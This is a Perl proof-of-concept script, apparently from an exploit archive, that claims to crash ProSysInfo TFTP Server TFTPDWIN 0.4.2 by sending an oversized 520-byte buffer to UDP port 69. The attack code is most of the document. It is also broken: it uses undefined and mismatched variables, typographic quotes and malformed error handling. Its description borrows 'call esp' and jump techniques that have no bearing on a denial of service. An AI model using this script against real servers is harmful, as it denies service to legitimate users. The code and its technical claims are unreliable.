#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 20 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/1MLqBkCyu0dA-cNgYxCAO8xbsVcof060Z/view?usp=sharing

Notification vendor: No reported

Tested Version: ProSysInfo TFTP Server TFTPDWIN 0.4.2

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=BuONti1AWoU

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The TFTP server does not correctly handle the amount of data or bytes sent…
#When authenticating to the TFTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $payload = "\x41"x520;

my $socket = IO::Socket::INET->new(
PeerAddr => $tftp_server,
PeerPort => 69,
Proto => ‘udp’
) die “Não foi possível conectar ao servidor TFTP: $!\n” unless $socket;

print $ftp_socket $buffer;

close($socket);

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "######################################################################\n";  
  print "#                                                                    #\n";        
  print "#     ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denied of Service      #\n";  
  print "#                                                                    #\n";  
  print "#                       Coded by Fernando Mengali                    #\n";  
  print "#                                                                    #\n";  
  print "#                 e-mail: fernando.mengalli\@gmail.com               #\n";  
  print "#                                                                    #\n";  
  print "######################################################################\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated